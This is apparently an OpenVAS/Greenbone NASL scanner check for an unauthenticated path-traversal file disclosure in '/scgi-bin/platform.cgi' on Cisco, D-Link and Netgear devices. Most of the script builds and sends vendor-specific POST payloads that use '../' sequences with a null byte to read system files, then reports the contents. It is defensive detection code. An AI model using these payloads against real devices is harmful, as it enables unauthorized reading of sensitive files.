Multiple Devices '/scgi-bin/platform.cgi' Unauthenticated File Disclosure Vulnerability (Jan 2016) - Active Check

# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105500");
  script_version("2026-03-17T05:57:28+0000");
  script_tag(name:"last_modification", value:"2026-03-17 05:57:28 +0000 (Tue, 17 Mar 2026)");
  script_tag(name:"creation_date", value:"2016-01-07 15:24:11 +0100 (Thu, 07 Jan 2016)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_cve_id("CVE-2025-60344");

  script_tag(name:"qod_type", value:"remote_active");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Multiple Devices '/scgi-bin/platform.cgi' Unauthenticated File Disclosure Vulnerability (Jan 2016) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_get_http_banner.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 443);
  script_mandatory_keys("Embedded_HTTP_Server/banner", "Host/runs_unixoide");

  script_tag(name:"summary", value:"The remote device is prone to an arbitrary file disclosure
  vulnerability because it fails to adequately validate user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.

  Note: This VT sends different requests depending on the identified banner for identifying this
  vulnerability.");

  script_tag(name:"insight", value:"The D-Link DSR series routers flaw has been re-discovered in
  2025 and got CVE-2025-60344 assigned.");

  script_tag(name:"impact", value:"An attacker could exploit this vulnerability to read arbitrary
  files on the device. This may aid in further attacks.");

  script_tag(name:"affected", value:"Devices from Cisco, D-Link and Netgear are known to be
  affected. Other vendors might be affected as well.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/39184/");
  script_xref(name:"URL", value:"https://github.com/fyoozr/vulnerability-research/tree/main/CVE-2025-60344");


  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port( default:443 );

banner = http_get_remote_headers( port:port );
if( ! banner || "Server: Embedded HTTP Server" >!< banner )
  exit( 0 );

useragent = http_get_user_agent();
host = http_host_name( port:port );

url = "/scgi-bin/platform.cgi";
req = http_get( item:url, port:port );
buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
if( !buf || buf !~ "^HTTP/1\.[01] 200" )
  exit( 0 );

if( "netgear" >< tolower( buf ) )
  typ = "netgear";
else if( "d-link" >< tolower( buf ) || "dlink" >< tolower( buf ) )
  typ = "dlink";
else
  typ = "cisco";

vtstrings = get_vt_strings();
vtstring = vtstrings["default"];
vtstring_lower = vtstrings["lowercase"];

files = traversal_files( "linux" );

foreach pattern( keys( files ) ) {

  file = files[pattern];

  if( typ == "cisco" )
    data = "button.login.home=Se%20connecter&Login.userAgent=" + vtstring_lower +
           "&reload=0&SSLVPNUser.Password=" + vtstring_lower + "&SSLVPNUser.UserName=" + vtstring_lower +
           "&thispage=../../../../../../../../../../" + file + "%00.htm";
  else if( typ == "dlink" )
    data = "thispage=../../../../../../../../../../" + file + "%00.htm&Users.UserName=admin&Users.Password=" +
           vtstring_lower + "&button.login.Users.deviceStatus=Login&Login.userAgent=" + vtstring;
  else if( typ == "netgear" )
    data = "thispage=../../../../../../../../../../" + file +
           "%00.htm&USERDBUsers.UserName=admin&USERDBUsers.Password=" + vtstring_lower +
           "&USERDBDomains.Domainname=geardomain&button.login.USERDBUsers.router_status=Login&Login.userAgent=" +
           vtstring;

  len = strlen( data );

  req = 'POST /scgi-bin/platform.cgi HTTP/1.1\r\n' +
        'Host: ' + host + '\r\n' +
        'User-Agent: ' + useragent + '\r\n' +
        'Accept: */*\r\n' +
        'Content-Length: ' + len + '\r\n' +
        'Content-Type: application/x-www-form-urlencoded\r\n' +
        '\r\n' +
        data;
  buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

  if( buf =~ "^HTTP/1\.[01] 200" && egrep( string:buf, pattern:pattern ) ) {
    report = 'By sending a special crafted POST request to "/scgi-bin/platform.cgi" it was possible to read the file "/' + file + '".\nThe following response was received:\n\n' + buf;
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );